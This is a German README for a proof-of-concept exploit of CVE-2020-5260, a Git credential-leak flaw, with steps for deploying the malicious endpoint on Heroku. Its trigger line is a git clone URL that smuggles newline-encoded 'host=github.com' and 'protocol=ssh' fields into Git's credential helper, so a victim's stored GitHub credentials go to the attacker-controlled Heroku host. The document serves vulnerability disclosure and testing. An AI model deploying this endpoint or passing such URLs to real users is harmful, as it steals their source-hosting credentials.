cve-2020-5260

Ein HTTP-PoC-Endpunkt für cve-2020-5260, der auf Heroku bereitgestellt werden kann

CREDIT-INFORMATIONEN

Felix Wilhelm von Google Project Zero https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

Auslösen der Schwachstelle

git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'

PoC auf Heroku bereitstellen

Klicken Sie auf diesen Button, um automatisch zu Heroku bereitzustellen...

Oder folgen Sie den Schritten unten...

Ja, ich verstehe die Ironie, Git-Clone-Befehle ausführen zu müssen, um dieses PoC einzurichten....

Installieren Sie die Heroku CLI über https://devcenter.heroku.com/articles/heroku-cli

Falls noch nicht geschehen, melden Sie sich bei Ihrem Heroku-Konto an und folgen Sie den Anweisungen, um einen neuen öffentlichen SSH-Schlüssel zu erstellen.

$ heroku login

Repository klonen

Verwenden Sie Git, um den Quellcode von cve-2020-5260 auf Ihren lokalen Rechner zu klonen.

$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260

Änderungen bereitstellen

Nehmen Sie einige Änderungen am soeben geklonten Code vor und stellen Sie ihn mit Git auf Heroku bereit.

$ git add .
$ git commit -am "make it better"
$ git push heroku master